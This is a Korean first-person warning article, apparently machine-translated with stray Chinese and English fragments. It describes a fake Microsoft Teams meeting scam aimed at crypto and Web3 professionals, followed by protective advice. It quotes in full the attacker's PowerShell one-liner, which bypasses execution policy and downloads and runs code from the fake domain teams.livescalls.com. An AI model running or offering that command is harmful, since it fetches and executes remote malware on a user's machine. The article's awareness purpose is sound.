마이크로소프트 Teams 통화에서 해킹을 당할 뻔했습니다 — 사기 수법이 어떻게 작동하는지

오늘早些에 Microsoft Teams 통화를 이용하는 것처럼 일상적이고 해롭지 않아 보이는 것을 악용하도록 설계된 정교한 소셜 엔지니어링_scheme의 희생자가 될 뻔한 경위를 말씀드리고자 합니다. 

상호작용의 대부분 동안에는 아무것도 이상하지 않았습니다. 

저는 업계 연락처라고 생각한 누군가가 Microsoft Teams에서 미팅을 설정하기 위해 연락해 왔고, 협력적인 제 성격은 그 통화로 바로 뛰어들 준비가 되어 있었습니다. 

스폴러 경고: 상대방은 사칭자였으며, 제 컴퓨터에서 악성 코드를 실행하도록 시도했습니다. 

여기서 전체 경험을 재구성하는 이유는 암호화폐 및 Web3 커뮤니티의 친구, 지인, 동료들에게 경고하기 위함입니다. 

오늘은 제가差点 해킹당했지만, 내일은 다른 사람이 될 수 있습니다. 

단계 1: 설정 — “오래된 친구, 만나자” 

잘 알려진 암호화폐 PR 기관의 최고 임원인 사람의 Telegram 계정으로부터 문자를 받으면, 피싱 설정에 빨려 들어가고 있다는 생각은 꿈에도 들지 않습니다. 

일반적인 적색 신호도 즉시 눈에 띄지 않았습니다. 

이것은 무작위 DM이 아니었습니다. 

저는 “i”가 미묘하게 “l”로 대체된 사칭 계정과 대화하고 있지 않았습니다. 

저는 실제로 해당 계정과의 채팅 기록도 가지고 있었기 때문에, 상대방이 진짜 사람이라고 생각했습니다. 

그들이 재연결을 위한 완전히 친절한 대화를 시작했을 때부터 아무것도 이상하지 않았습니다. 곧 Calendly 링크를 통해 30분 미팅을 예약하고 Microsoft Teams 통화 초대를 받았습니다.

앞서 말했듯이, 상호작용 내내 제 레이더는 한 번도 작동하지 않았습니다. 저는 최고급 PR 기관의 고위 직원이 기대할 수 있는 것과 같은 전문성과 인내심을 느꼈습니다. 

제가 알고 있던 것은 Calendly 페이지의 업계 연락처로부터 Teams 미팅을 예약했다는 사실뿐이었습니다.

사기꾼은 해킹당한 계정을 사용하여 연락을 시작하고 Teams 미팅 링크를 보냅니다.

단계 2: “데스크톱 전용” 함정 

미팅 당일, 저는 과거에 적어도 천 번 이상 해왔던 것처럼 제 휴대폰에서 Teams 미팅 링크를 클릭했습니다. 그러나 평소처럼 미팅으로 바로 연결되지 않았습니다. 대신, “조직자 설정으로 인해 모바일 기기를 통한 미팅 접근이 허용되지 않습니다”라는 화면이 로드되었습니다. 

“어휴! 이런 일은 처음이에요.” 

글쎄요, 그것도 우연이 아니었습니다. 

돌이켜보면, 그것이 아마도 첫 번째 진짜 적색 신호였을 것입니다. 

오류 화면은 디자인의 일부입니다. 사기꾼들은 귀하가 데스크톱이나 노트북에 있도록 해야 합니다. 왜냐하면 그들의 악성 페이로드는 PC에서만 실행되는 명령줄 스크립트이기 때문입니다.

브라우저의 URL “teams.livescalls.com”는 실제 마이크로소프트 도메인이 아닙니다.

정품 Teams 미팅은 teams.microsoft.com 또는 teams.live.com.를 사용합니다.

“livescalls.com” 도메인은 멀리서 보면 실제 것과 충분히 비슷해 보이지만, 자세히 보면 실제 것과 완전히 다릅니다. 

하나는 하루 3억 2천만 명의 활성 사용자를 보유하고 있다고 주장하는 마이크로소프트가 통제하는 사이트입니다. 다른 하나는 공격자가 완전히 통제하는 가짜 사이트입니다. 

공정하게 말하자면, 일부 조직은 팀 미팅에 사용자 정의 도메인을 사용할 수 있습니다. 그러나 세계 경제 포럼에 따르면 2025년 사기꾼들에게 손실된 자금이 $1조 이상이었기 때문에, 제 스파이더 센스를 무시할 충분한 이유가 되었습니다. 

가짜 “팀 접근 알림” 페이지는 모바일 접근을 차단하여 악성 스크립트가 실행될 수 있는 데스크톱 사용을 강요합니다. URL을 확인하십시오: teams.livescalls.com — 마이크로소프트 도메인이 아닙니다.

사기꾼은 모바일 차단 후 데스크톱으로 참여하도록 피해자를 압박하며 “파트너들이 기다리고 있다”고 주장합니다.

단계 3: 페이로딩 — “TeamsFx SDK 업데이트”

데스크톱에 접속하자, 가짜 Teams 미팅은 공식 Microsoft 문서에서 볼 수 있을 정도로 전문적으로 디자인된 페이지를 표시했습니다. 여기에는 2025년 9월까지 TeamsFx SDK가 지원 중단된다는 실제 Microsoft 언어도 포함되어 있었습니다. 

해결책은? 코드 블록을 복사하여 터미널이나 명령 프롬프트에서 실행하는 것입니다.

만약 Google 검색을 한 번 더 하셨다면, 유사한 SDK가 실제로 존재한다는 것을 알 수 있습니다. 하지만 이 Teams 통화에는 필요하지 않습니다. 

코드는 처음에는 무해해 보입니다 — TeamsFx_API_KEY 및 MS_Teams_API_SECRET과 같이 공식적인 이름을 가진 환경 변수를 설정합니다. 하지만 실제 공격 벡터는 중간 어딘가에 숨어 있으며, 이 공격자들은 귀하가 문제를 발견하기를 기대하지 않습니다.

powershell -ep bypass -c “(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

이 단일 줄은 PowerShell 보안 정책(-ep bypass)을 우회하고, 공격자의 서버에서 코드를 다운로드하며, 즉시 실행합니다(iex = Invoke-Expression). 

그리고 그렇게 해서, 공격자가 호스팅한 어떤 맬웨어, 키로거, 또는 원격 접근 도구는 귀하의 장치에 조용히 설치됩니다.

참가자에게 제시되는 악성 “TeamsFx SDK 업데이트” 페이지가 표시되는 가짜 Teams 미팅 인터페이스. 통화 참가자를 확인하십시오 — AI 생성 영상입니다.

단계 4: “걱정하지 마세요, 안전합니다” 압박 단계

저는 스크립트를 실행하는 것에 대해 망설임을 표현했고, 사칭자는 즉각적인 안심과 압박의 조합을 전달했습니다. 

“걱정하지 마세요, 매우 간단하고 안전합니다”라는 문장은 제 PC에서 명령 프롬프트를 여는 방법을 보여주는 스크린샷의 지시를 따르도록 저를 유도하려는 것이었습니다. 

“파트너들이 이미 Zoom에 참여했습니다”라는 문장은 제가 간단한 명령 프롬프트를 실행하는 방법을 알아내지 못해서 모든 사람이 플랫폼을 전환해야 하는 부담감을 느끼게 하려는 것이었습니다.

저는 안심하지 않았습니다. 또한 압박감도 느끼지 않았습니다.

저는 통화를 Google Meet로 옮기자고 제안했고, 그들은 거절했습니다. 아마도 그들의 사기는 가짜 Teams 설정을 통해서만 작동하는 것 같습니다.

사기꾼은 악성 코드를 실행하기 위한 단계별 지침을 보내며 피해자를 안심시킵니다: “걱정하지 마세요, 매우 간단하고 안전합니다.”

단계 5: bluff 호출 — 차단 및 삭제

저는 스크립트와 도메인을 확인한 후 제 추측을 확인했습니다: 저는 소셜 엔지니어링을 당하고 있었고, 세계 경제 포럼의 2026년 통계에 포함될 뻔했습니다. 

저는 사기꾼에게 직접 말했습니다: “방금 확인해 봤는데, 이 명령과 해당 웹사이트는 정품이 아닙니다. 불행히도 수행할 수 없습니다.” 만약 여전히 대화하고 싶다면 Google Meet에서 계속하자고 제안했습니다.

“하지만 미팅이 지금 진행 중입니다”가 상대방으로부터의 메시지였습니다. 

예상대로, 그들의 응답은 미팅에 참여하는 긴급성을 깨닫게 하려는 것이었습니다. 결국, 저는 그 많은 파트너들을 너무 오래 기다리게 하고 싶지 않았을 것입니다.

잠시 후, 그들은 우리의 전체 대화를 삭제하고 저를 차단했습니다. 

아… 그것은 단순한 적색 신호가 아닙니다. 진홍색의 그늘을 말입니다. 

비즈니스 연락처는 소프트웨어 업데이트를 의심하는 순간 전체 대화 기록을 삭제하고 사용자를 차단하지 않습니다.

사기가 폭로된 후, 공격자는 모든 메시지를 삭제하고 피해자를 차단하기 전에 미팅이 “지금 진행 중”이라고 주장합니다.

자신을 보호하는 방법

이러한 유형의 공격은 암호화폐, Web3 및 기술 산업 전반에서 급증하고 있습니다. 사기꾼들은 PR 전문가, 투자자 및 프로젝트 리더의 실제 계정을 침해하거나 사칭하여 고가치 개인을 표적으로 삼고 있습니다. 안전을 유지하는 방법은 다음과 같습니다:

• 미팅 페이지에서 명령을 실행하지 마십시오. 정당한 비디오 콜 플랫폼은 터미널이나 명령 프롬프트에 코드를 붙여넣으라고 절대 요청하지 않습니다.
• URL을 확인하십시오. 진짜 마이크로소프트 Teams 미팅은 teams.microsoft.com 또는 teams.live.com에서 진행됩니다 — “teams.livescalls.com”이나 다른 유사 도메인이 아닙니다.
• “데스크톱 전용” 요구 사항에 대해 의심하십시오. 모바일 접근을 차단하는 미팅은 스크립트가 실행될 수 있는 기기로 사용자를 유도하려는 의도적인 전술일 수 있습니다.
• 별도의 채널을 통해 상대방을 확인하십시오. 알고 있는 연락처가 이상한 미팅 링크를 보냈다면, 직접 전화하거나 다른 플랫폼으로 메시지를 보내 확인하십시오.
• “powershell -ep bypass” 및 “iex”를 주의 깊게 살펴보십시오. 이것은 어떤 스크립트에서도 가장 큰 적색 신호입니다. 첫 번째는 보안을 비활성화하고, 두 번째는 다운로드된 코드를 무조건 실행합니다.
• 이미 스크립트를 실행했다면: 즉시 인터넷 연결을 끊으십시오. 전체 맬웨어 검사를 실행하십시오(Malwarebytes, Windows Defender Offline). 다른 깨끗한 기기에서 모든 비밀번호를 변경하십시오. 암호화폐 지갑과 은행 계정을 무단 거래에 대해 모니터링하십시오.

암호화폐 및 웹3에 미치는 중요성

공격자가 넓은 그물을 던져 무엇을 건져 올릴지 보는 전형적인 피싱 상호작용이라고 부르지는 않겠습니다. 

아니요, 이는 표적화된 다일차 사회공학적 조작이었습니다. 공격자들은 며칠 동안 업계 동료들을 사칭하며 신뢰를 쌓고, 설득력 있는 가짜 마이크로소프트 페이지를 통해 Teams 통화 중 기술적 문제를 해결하라고 자연스럽게 유도했습니다. 

공격자는 사용자의 자격 증명을 탈취하거나 암호화폐 지갑을 털거나 영구적인 원격 접근 멀웨어를 설치할 수 있습니다. 공격자에게는 얻을 것이 많고 잃을 것이 없습니다. 

당신이 암호화폐 및 기술 분야에서 미팅을 진행하는 창업자, 투자자 또는 그 누구라면 이 기사를 팀과 공유하십시오. 이러한 사기를 치는 사람들은 점점 더 정교해지고 있으며, 유일한 방어책은 인식 제고입니다.